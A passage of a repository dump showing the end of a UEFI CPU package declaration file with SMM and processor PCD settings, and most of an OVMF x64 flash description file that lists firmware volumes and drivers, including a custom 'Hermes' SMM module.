138 | # @Prompt Lock SMM Feature Control MSR. 139 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmFeatureControlMsrLock|TRUE|BOOLEAN|0x3213210B 140 | 141 | [PcdsFixedAtBuild] 142 | ## List of exception vectors which need switching stack. 143 | # This PCD will only take into effect if PcdCpuStackGuard is enabled. 144 | # By default exception #DD(8), #PF(14) are supported. 145 | # @Prompt Specify exception vectors which need switching stack. 146 | gUefiCpuPkgTokenSpaceGuid.PcdCpuStackSwitchExceptionList|{0x08, 0x0E}|VOID*|0x30002000 147 | 148 | ## Size of good stack for an exception. 149 | # This PCD will only take into effect if PcdCpuStackGuard is enabled. 150 | # @Prompt Specify size of good stack of exception which need switching stack. 151 | gUefiCpuPkgTokenSpaceGuid.PcdCpuKnownGoodStackSize|2048|UINT32|0x30002001 152 | 153 | [PcdsFixedAtBuild, PcdsPatchableInModule] 154 | ## This value is the CPU Local APIC base address, which aligns the address on a 4-KByte boundary. 155 | # @Prompt Configure base address of CPU Local APIC 156 | # @Expression 0x80000001 | (gUefiCpuPkgTokenSpaceGuid.PcdCpuLocalApicBaseAddress & 0xfff) == 0 157 | gUefiCpuPkgTokenSpaceGuid.PcdCpuLocalApicBaseAddress|0xfee00000|UINT32|0x00000001 158 | 159 | ## Specifies delay value in microseconds after sending out an INIT IPI. 160 | # @Prompt Configure delay value after send an INIT IPI 161 | gUefiCpuPkgTokenSpaceGuid.PcdCpuInitIpiDelayInMicroSeconds|10000|UINT32|0x30000002 162 | 163 | ## This value specifies the Application Processor (AP) stack size, used for Mp Service, which must 164 | ## aligns the address on a 4-KByte boundary. 165 | # @Prompt Configure stack size for Application Processor (AP) 166 | gUefiCpuPkgTokenSpaceGuid.PcdCpuApStackSize|0x8000|UINT32|0x00000003 167 | 168 | ## Specifies stack size in the temporary RAM. 0 means half of TemporaryRamSize. 169 | # @Prompt Stack size in the temporary RAM. 170 | gUefiCpuPkgTokenSpaceGuid.PcdPeiTemporaryRamStackSize|0|UINT32|0x10001003 171 | 172 | ## Specifies buffer size in bytes to save SMM profile data. The value should be a multiple of 4KB. 173 | # @Prompt SMM profile data buffer size. 174 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileSize|0x200000|UINT32|0x32132107 175 | 176 | ## Specifies stack size in bytes for each processor in SMM. 177 | # @Prompt Processor stack size in SMM. 178 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x2000|UINT32|0x32132105 179 | 180 | ## Indicates if SMM Code Access Check is enabled. 181 | # If enabled, the SMM handler cannot execute the code outside SMM regions. 182 | # This PCD is suggested to TRUE in production image.

183 | # TRUE - SMM Code Access Check will be enabled.
184 | # FALSE - SMM Code Access Check will be disabled.
185 | # @Prompt SMM Code Access Check. 186 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmCodeAccessCheckEnable|TRUE|BOOLEAN|0x60000013 187 | 188 | ## Specifies the number of variable MTRRs reserved for OS use. The default number of 189 | # MTRRs reserved for OS use is 2. 190 | # @Prompt Number of reserved variable MTRRs. 191 | gUefiCpuPkgTokenSpaceGuid.PcdCpuNumberOfReservedVariableMtrrs|0x2|UINT32|0x00000015 192 | 193 | ## Specifies buffer size in bytes for STM exception stack. The value should be a multiple of 4KB. 194 | # @Prompt STM exception stack size. 195 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStmExceptionStackSize|0x1000|UINT32|0x32132111 196 | 197 | ## Specifies buffer size in bytes of MSEG. The value should be a multiple of 4KB. 198 | # @Prompt MSEG size. 199 | gUefiCpuPkgTokenSpaceGuid.PcdCpuMsegSize|0x200000|UINT32|0x32132112 200 | 201 | ## Specifies the supported CPU features bit in array. 202 | # @Prompt Supported CPU features. 203 | gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesSupport|{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}|VOID*|0x00000016 204 | 205 | ## Specifies if CPU features will be initialized after SMM relocation. 206 | # @Prompt If CPU features will be initialized after SMM relocation. 207 | gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesInitAfterSmmRelocation|FALSE|BOOLEAN|0x0000001C 208 | 209 | ## Specifies if CPU features will be initialized during S3 resume. 210 | # @Prompt If CPU features will be initialized during S3 resume. 211 | gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesInitOnS3Resume|FALSE|BOOLEAN|0x0000001D 212 | 213 | [PcdsFixedAtBuild, PcdsPatchableInModule, PcdsDynamic, PcdsDynamicEx] 214 | ## Specifies max supported number of Logical Processors. 215 | # @Prompt Configure max supported number of Logical Processors 216 | gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64|UINT32|0x00000002 217 | ## Specifies timeout value in microseconds for the BSP to detect all APs for the first time. 218 | # @Prompt Timeout for the BSP to detect all APs for the first time. 219 | gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000|UINT32|0x00000004 220 | ## Specifies the base address of the first microcode Patch in the microcode Region. 221 | # @Prompt Microcode Region base address. 222 | gUefiCpuPkgTokenSpaceGuid.PcdCpuMicrocodePatchAddress|0x0|UINT64|0x00000005 223 | ## Specifies the size of the microcode Region. 224 | # @Prompt Microcode Region size. 225 | gUefiCpuPkgTokenSpaceGuid.PcdCpuMicrocodePatchRegionSize|0x0|UINT64|0x00000006 226 | ## Specifies the AP wait loop state during POST phase. 227 | # The value is defined as below.

228 | # 1: Place AP in the Hlt-Loop state.
229 | # 2: Place AP in the Mwait-Loop state.
230 | # 3: Place AP in the Run-Loop state.
231 | # @Prompt The AP wait loop state. 232 | # @ValidRange 0x80000001 | 1 - 3 233 | gUefiCpuPkgTokenSpaceGuid.PcdCpuApLoopMode|1|UINT8|0x60008006 234 | ## Specifies the AP target C-state for Mwait during POST phase. 235 | # The default value 0 means C1 state. 236 | # The value is defined as below.

237 | # @Prompt The specified AP target C-state for Mwait. 238 | gUefiCpuPkgTokenSpaceGuid.PcdCpuApTargetCstate|0|UINT8|0x00000007 239 | 240 | ## Indicates if SMM uses static page table. 241 | # If enabled, SMM will not use on-demand paging. SMM will build static page table for all memory. 242 | # This flag only impacts X64 build, because SMM always builds static page table for IA32. 243 | # It could not be enabled at the same time with SMM profile feature (PcdCpuSmmProfileEnable). 244 | # It could not be enabled also at the same time with heap guard feature for SMM 245 | # (PcdHeapGuardPropertyMask in MdeModulePkg).

246 | # TRUE - SMM uses static page table for all memory.
247 | # FALSE - SMM uses static page table for below 4G memory and use on-demand paging for above 4G memory.
248 | # @Prompt Use static page table for all memory in SMM. 249 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStaticPageTable|FALSE|BOOLEAN|0x3213210D 250 | 251 | ## Specifies timeout value in microseconds for the BSP in SMM to wait for all APs to come into SMM. 252 | # @Prompt AP synchronization timeout value in SMM. 253 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|1000000|UINT64|0x32132104 254 | 255 | ## Indicates the CPU synchronization method used when processing an SMI. 256 | # 0x00 - Traditional CPU synchronization method.
257 | # 0x01 - Relaxed CPU synchronization method.
258 | # @Prompt SMM CPU Synchronization Method. 259 | gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x00|UINT8|0x60000014 260 | 261 | ## Specifies user's desired settings for enabling/disabling processor features. 262 | # @Prompt User settings for enabling/disabling processor features. 263 | gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesUserConfiguration|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000017 264 | 265 | ## Specifies the On-demand clock modulation duty cycle when ACPI feature is enabled. 266 | # @Prompt The encoded values for target duty cycle modulation. 267 | # @ValidRange 0x80000001 | 0 - 15 268 | gUefiCpuPkgTokenSpaceGuid.PcdCpuClockModulationDutyCycle|0x0|UINT8|0x0000001A 269 | 270 | ## Indicates if the current boot is a power-on reset.

271 | # TRUE - Current boot is a power-on reset.
272 | # FALSE - Current boot is not a power-on reset.
273 | # @Prompt Current boot is a power-on reset. 274 | gUefiCpuPkgTokenSpaceGuid.PcdIsPowerOnReset|FALSE|BOOLEAN|0x0000001B 275 | 276 | [PcdsDynamic, PcdsDynamicEx] 277 | ## Contains the pointer to a CPU S3 data buffer of structure ACPI_CPU_DATA. 278 | # @Prompt The pointer to a CPU S3 data buffer. 279 | # @ValidList 0x80000001 | 0 280 | gUefiCpuPkgTokenSpaceGuid.PcdCpuS3DataAddress|0x0|UINT64|0x60000010 281 | 282 | ## Contains the pointer to a CPU Hot Plug Data structure if CPU hot-plug is supported. 283 | # @Prompt The pointer to CPU Hot Plug Data. 284 | # @ValidList 0x80000001 | 0 285 | gUefiCpuPkgTokenSpaceGuid.PcdCpuHotPlugDataAddress|0x0|UINT64|0x60000011 286 | 287 | ## Indicates processor feature capabilities, each bit corresponding to a specific feature. 288 | # @Prompt Processor feature capabilities. 289 | # @ValidList 0x80000001 | 0 290 | gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesCapability|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000018 291 | 292 | ## Specifies actual settings for processor features, each bit corresponding to a specific feature. 293 | # @Prompt Actual processor feature settings. 294 | # @ValidList 0x80000001 | 0 295 | gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesSetting|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000019 296 | 297 | ## Contains the size of memory required when CPU processor trace is enabled.

298 | # Processor trace is enabled through set BIT44(CPU_FEATURE_PROC_TRACE) in PcdCpuFeaturesSetting.

299 | # This PCD is ignored if CPU processor trace is disabled.

300 | # Default value is 0x00 which means 4KB of memory is allocated if CPU processor trace is enabled.
301 | # 0x0 - 4K.
302 | # 0x1 - 8K.
303 | # 0x2 - 16K.
304 | # 0x3 - 32K.
305 | # 0x4 - 64K.
306 | # 0x5 - 128K.
307 | # 0x6 - 256K.
308 | # 0x7 - 512K.
309 | # 0x8 - 1M.
310 | # 0x9 - 2M.
311 | # 0xA - 4M.
312 | # 0xB - 8M.
313 | # 0xC - 16M.
314 | # 0xD - 32M.
315 | # 0xE - 64M.
316 | # 0xF - 128M.
317 | # @Prompt The memory size used for processor trace if processor trace is enabled. 318 | # @ValidRange 0x80000001 | 0 - 0xF 319 | gUefiCpuPkgTokenSpaceGuid.PcdCpuProcTraceMemSize|0x0|UINT32|0x60000012 320 | 321 | ## Contains the processor trace output scheme when CPU processor trace is enabled.

322 | # Processor trace is enabled through set BIT44(CPU_FEATURE_PROC_TRACE) in PcdCpuFeaturesSetting.

323 | # This PCD is ignored if CPU processor trace is disabled.

324 | # Default value is 0 which means single range output scheme will be used if CPU processor trace is enabled.
325 | # 0 - Single Range output scheme.
326 | # 1 - ToPA(Table of physical address) scheme.
327 | # @Prompt The processor trace output scheme used when processor trace is enabled. 328 | # @ValidRange 0x80000001 | 0 - 1 329 | gUefiCpuPkgTokenSpaceGuid.PcdCpuProcTraceOutputScheme|0x0|UINT8|0x60000015 330 | 331 | [UserExtensions.TianoCore."ExtraFiles"] 332 | UefiCpuPkgExtra.uni 333 | -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/OvmfPkg/OvmfPkgX64.fdf: -------------------------------------------------------------------------------- 1 | ## @file 2 | # Open Virtual Machine Firmware: FDF 3 | # 4 | # Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved.
5 | # (C) Copyright 2016 Hewlett Packard Enterprise Development LP
6 | # 7 | # This program and the accompanying materials 8 | # are licensed and made available under the terms and conditions of the BSD License 9 | # which accompanies this distribution. The full text of the license may be found at 10 | # http://opensource.org/licenses/bsd-license.php 11 | # 12 | # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 14 | # 15 | ## 16 | 17 | ################################################################################ 18 | 19 | [Defines] 20 | !include OvmfPkg.fdf.inc 21 | 22 | # 23 | # Build the variable store and the firmware code as one unified flash device 24 | # image. 25 | # 26 | [FD.OVMF] 27 | BaseAddress = $(FW_BASE_ADDRESS) 28 | Size = $(FW_SIZE) 29 | ErasePolarity = 1 30 | BlockSize = $(BLOCK_SIZE) 31 | NumBlocks = $(FW_BLOCKS) 32 | 33 | !include VarStore.fdf.inc 34 | 35 | $(VARS_SIZE)|$(FVMAIN_SIZE) 36 | FV = FVMAIN_COMPACT 37 | 38 | $(SECFV_OFFSET)|$(SECFV_SIZE) 39 | FV = SECFV 40 | 41 | # 42 | # Build the variable store and the firmware code as separate flash device 43 | # images. 44 | # 45 | [FD.OVMF_VARS] 46 | BaseAddress = $(FW_BASE_ADDRESS) 47 | Size = $(VARS_SIZE) 48 | ErasePolarity = 1 49 | BlockSize = $(BLOCK_SIZE) 50 | NumBlocks = $(VARS_BLOCKS) 51 | 52 | !include VarStore.fdf.inc 53 | 54 | [FD.OVMF_CODE] 55 | BaseAddress = $(CODE_BASE_ADDRESS) 56 | Size = $(CODE_SIZE) 57 | ErasePolarity = 1 58 | BlockSize = $(BLOCK_SIZE) 59 | NumBlocks = $(CODE_BLOCKS) 60 | 61 | 0x00000000|$(FVMAIN_SIZE) 62 | FV = FVMAIN_COMPACT 63 | 64 | $(FVMAIN_SIZE)|$(SECFV_SIZE) 65 | FV = SECFV 66 | 67 | ################################################################################ 68 | 69 | [FD.MEMFD] 70 | BaseAddress = $(MEMFD_BASE_ADDRESS) 71 | Size = 0xB00000 72 | ErasePolarity = 1 73 | BlockSize = 0x10000 74 | NumBlocks = 0xB0 75 | 76 | 0x000000|0x006000 77 | gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPageTablesSize 78 | 79 | 0x006000|0x001000 80 | gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfLockBoxStorageSize 81 | 82 | 0x007000|0x001000 83 | gEfiMdePkgTokenSpaceGuid.PcdGuidedExtractHandlerTableAddress|gUefiOvmfPkgTokenSpaceGuid.PcdGuidedExtractHandlerTableSize 84 | 85 | 0x010000|0x010000 86 | gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfSecPeiTempRamSize 87 | 88 | 0x020000|0x0E0000 89 | gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvSize 90 | FV = PEIFV 91 | 92 | 0x100000|0xA00000 93 | gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvBase|gUefiOvmfPkgTokenSpaceGuid.PcdOvmfDxeMemFvSize 94 | FV = DXEFV 95 | 96 | ################################################################################ 97 | 98 | [FV.SECFV] 99 | FvNameGuid = 763BED0D-DE9F-48F5-81F1-3E90E1B1A015 100 | BlockSize = 0x1000 101 | FvAlignment = 16 102 | ERASE_POLARITY = 1 103 | MEMORY_MAPPED = TRUE 104 | STICKY_WRITE = TRUE 105 | LOCK_CAP = TRUE 106 | LOCK_STATUS = TRUE 107 | WRITE_DISABLED_CAP = TRUE 108 | WRITE_ENABLED_CAP = TRUE 109 | WRITE_STATUS = TRUE 110 | WRITE_LOCK_CAP = TRUE 111 | WRITE_LOCK_STATUS = TRUE 112 | READ_DISABLED_CAP = TRUE 113 | READ_ENABLED_CAP = TRUE 114 | READ_STATUS = TRUE 115 | READ_LOCK_CAP = TRUE 116 | READ_LOCK_STATUS = TRUE 117 | 118 | # 119 | # SEC Phase modules 120 | # 121 | # The code in this FV handles the initial firmware startup, and 122 | # decompresses the PEI and DXE FVs which handles the rest of the boot sequence. 123 | # 124 | INF OvmfPkg/Sec/SecMain.inf 125 | 126 | INF RuleOverride=RESET_VECTOR OvmfPkg/ResetVector/ResetVector.inf 127 | 128 | ################################################################################ 129 | [FV.PEIFV] 130 | FvNameGuid = 6938079B-B503-4E3D-9D24-B28337A25806 131 | BlockSize = 0x10000 132 | FvAlignment = 16 133 | ERASE_POLARITY = 1 134 | MEMORY_MAPPED = TRUE 135 | STICKY_WRITE = TRUE 136 | LOCK_CAP = TRUE 137 | LOCK_STATUS = TRUE 138 | WRITE_DISABLED_CAP = TRUE 139 | WRITE_ENABLED_CAP = TRUE 140 | WRITE_STATUS = TRUE 141 | WRITE_LOCK_CAP = TRUE 142 | WRITE_LOCK_STATUS = TRUE 143 | READ_DISABLED_CAP = TRUE 144 | READ_ENABLED_CAP = TRUE 145 | READ_STATUS = TRUE 146 | READ_LOCK_CAP = TRUE 147 | READ_LOCK_STATUS = TRUE 148 | 149 | APRIORI PEI { 150 | INF MdeModulePkg/Universal/PCD/Pei/Pcd.inf 151 | } 152 | 153 | # 154 | # PEI Phase modules 155 | # 156 | INF MdeModulePkg/Core/Pei/PeiMain.inf 157 | INF MdeModulePkg/Universal/PCD/Pei/Pcd.inf 158 | INF MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf 159 | INF MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf 160 | INF OvmfPkg/PlatformPei/PlatformPei.inf 161 | INF MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf 162 | INF UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf 163 | !if $(SMM_REQUIRE) == TRUE 164 | INF OvmfPkg/SmmAccess/SmmAccessPei.inf 165 | !endif 166 | INF UefiCpuPkg/CpuMpPei/CpuMpPei.inf 167 | 168 | ################################################################################ 169 | 170 | [FV.DXEFV] 171 | FvForceRebase = FALSE 172 | FvNameGuid = 7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1 173 | BlockSize = 0x10000 174 | FvAlignment = 16 175 | ERASE_POLARITY = 1 176 | MEMORY_MAPPED = TRUE 177 | STICKY_WRITE = TRUE 178 | LOCK_CAP = TRUE 179 | LOCK_STATUS = TRUE 180 | WRITE_DISABLED_CAP = TRUE 181 | WRITE_ENABLED_CAP = TRUE 182 | WRITE_STATUS = TRUE 183 | WRITE_LOCK_CAP = TRUE 184 | WRITE_LOCK_STATUS = TRUE 185 | READ_DISABLED_CAP = TRUE 186 | READ_ENABLED_CAP = TRUE 187 | READ_STATUS = TRUE 188 | READ_LOCK_CAP = TRUE 189 | READ_LOCK_STATUS = TRUE 190 | 191 | APRIORI DXE { 192 | INF MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf 193 | INF MdeModulePkg/Universal/PCD/Dxe/Pcd.inf 194 | INF OvmfPkg/AmdSevDxe/AmdSevDxe.inf 195 | !if $(SMM_REQUIRE) == FALSE 196 | INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf 197 | !endif 198 | } 199 | 200 | # 201 | # DXE Phase modules 202 | # 203 | INF MdeModulePkg/Core/Dxe/DxeMain.inf 204 | 205 | INF MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf 206 | INF MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf 207 | INF MdeModulePkg/Universal/PCD/Dxe/Pcd.inf 208 | 209 | INF MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf 210 | INF MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf 211 | INF MdeModulePkg/Universal/EbcDxe/EbcDxe.inf 212 | INF PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf 213 | INF UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf 214 | INF UefiCpuPkg/CpuDxe/CpuDxe.inf 215 | INF PcAtChipsetPkg/8254TimerDxe/8254Timer.inf 216 | INF OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf 217 | INF OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf 218 | INF MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf 219 | INF MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf 220 | INF MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf 221 | INF MdeModulePkg/Universal/Metronome/Metronome.inf 222 | INF PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf 223 | 224 | INF OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf 225 | INF OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf 226 | INF OvmfPkg/Virtio10Dxe/Virtio10.inf 227 | INF OvmfPkg/VirtioBlkDxe/VirtioBlk.inf 228 | INF OvmfPkg/VirtioScsiDxe/VirtioScsi.inf 229 | INF OvmfPkg/VirtioRngDxe/VirtioRng.inf 230 | INF OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf 231 | INF OvmfPkg/XenBusDxe/XenBusDxe.inf 232 | INF OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf 233 | 234 | !if $(SECURE_BOOT_ENABLE) == TRUE 235 | INF SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf 236 | !endif 237 | 238 | INF MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf 239 | INF MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf 240 | INF MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf 241 | INF MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf 242 | INF MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf 243 | INF MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf 244 | INF MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf 245 | INF MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf 246 | INF MdeModulePkg/Universal/BdsDxe/BdsDxe.inf 247 | INF MdeModulePkg/Application/UiApp/UiApp.inf 248 | INF MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf 249 | INF MdeModulePkg/Universal/PrintDxe/PrintDxe.inf 250 | INF MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf 251 | INF MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf 252 | INF MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf 253 | INF MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf 254 | INF MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf 255 | INF MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf 256 | INF OvmfPkg/SataControllerDxe/SataControllerDxe.inf 257 | INF MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf 258 | INF MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf 259 | INF MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf 260 | INF MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf 261 | INF MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf 262 | INF MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf 263 | INF MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf 264 | 265 | INF PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf 266 | INF IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf 267 | 268 | !ifndef $(SOURCE_DEBUG_ENABLE) 269 | INF IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf 270 | !endif 271 | 272 | INF IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf 273 | INF IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf 274 | 275 | INF MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf 276 | INF OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf 277 | 278 | INF MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf 279 | INF OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf 280 | INF RuleOverride=ACPITABLE OvmfPkg/AcpiTables/AcpiTables.inf 281 | INF MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf 282 | INF MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf 283 | INF MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf 284 | 285 | INF FatPkg/EnhancedFatDxe/Fat.inf 286 | 287 | !ifndef $(USE_OLD_SHELL) 288 | INF ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf 289 | INF ShellPkg/Application/Shell/Shell.inf 290 | !else 291 | INF RuleOverride = BINARY EdkShellBinPkg/FullShell/FullShell.inf 292 | !endif 293 | 294 | INF MdeModulePkg/Logo/LogoDxe.inf 295 | 296 | # 297 | # Network modules 298 | # 299 | !if $(E1000_ENABLE) 300 | FILE DRIVER = 5D695E11-9B3F-4b83-B25F-4A8D5D69BE07 { 301 | SECTION PE32 = Intel3.5/EFIX64/E3522X2.EFI 302 | } 303 | !endif 304 | INF MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf 305 | INF MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf 306 | INF MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf 307 | INF MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf 308 | INF MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf 309 | INF MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf 310 | INF MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf 311 | INF MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf 312 | INF MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf 313 | !if $(NETWORK_IP6_ENABLE) == TRUE 314 | INF NetworkPkg/Ip6Dxe/Ip6Dxe.inf 315 | INF NetworkPkg/TcpDxe/TcpDxe.inf 316 | INF NetworkPkg/Udp6Dxe/Udp6Dxe.inf 317 | INF NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf 318 | INF NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf 319 | INF NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf 320 | INF NetworkPkg/IScsiDxe/IScsiDxe.inf 321 | !else 322 | INF MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf 323 | INF MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf 324 | INF MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf 325 | !endif 326 | !if $(HTTP_BOOT_ENABLE) == TRUE 327 | INF NetworkPkg/DnsDxe/DnsDxe.inf 328 | INF NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf 329 | INF NetworkPkg/HttpDxe/HttpDxe.inf 330 | INF NetworkPkg/HttpBootDxe/HttpBootDxe.inf 331 | !endif 332 | !if $(TLS_ENABLE) == TRUE 333 | INF NetworkPkg/TlsDxe/TlsDxe.inf 334 | INF NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf 335 | !endif 336 | INF OvmfPkg/VirtioNetDxe/VirtioNet.inf 337 | 338 | # 339 | # Usb Support 340 | # 341 | INF MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf 342 | INF MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf 343 | INF MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf 344 | INF MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf 345 | INF MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf 346 | INF MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf 347 | 348 | !ifdef $(CSM_ENABLE) 349 | INF IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf 350 | INF IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf 351 | INF RuleOverride=CSM OvmfPkg/Csm/Csm16/Csm16.inf 352 | !endif 353 | 354 | INF OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf 355 | INF OvmfPkg/VirtioGpuDxe/VirtioGpu.inf 356 | INF OvmfPkg/PlatformDxe/Platform.inf 357 | INF OvmfPkg/AmdSevDxe/AmdSevDxe.inf 358 | INF OvmfPkg/IoMmuDxe/IoMmuDxe.inf 359 | 360 | !if $(SMM_REQUIRE) == TRUE 361 | INF OvmfPkg/SmmAccess/SmmAccess2Dxe.inf 362 | INF OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf 363 | INF UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf 364 | INF MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf 365 | INF MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf 366 | INF Hermes/Hermes.inf 367 | INF UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf 368 | INF MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf 369 | INF 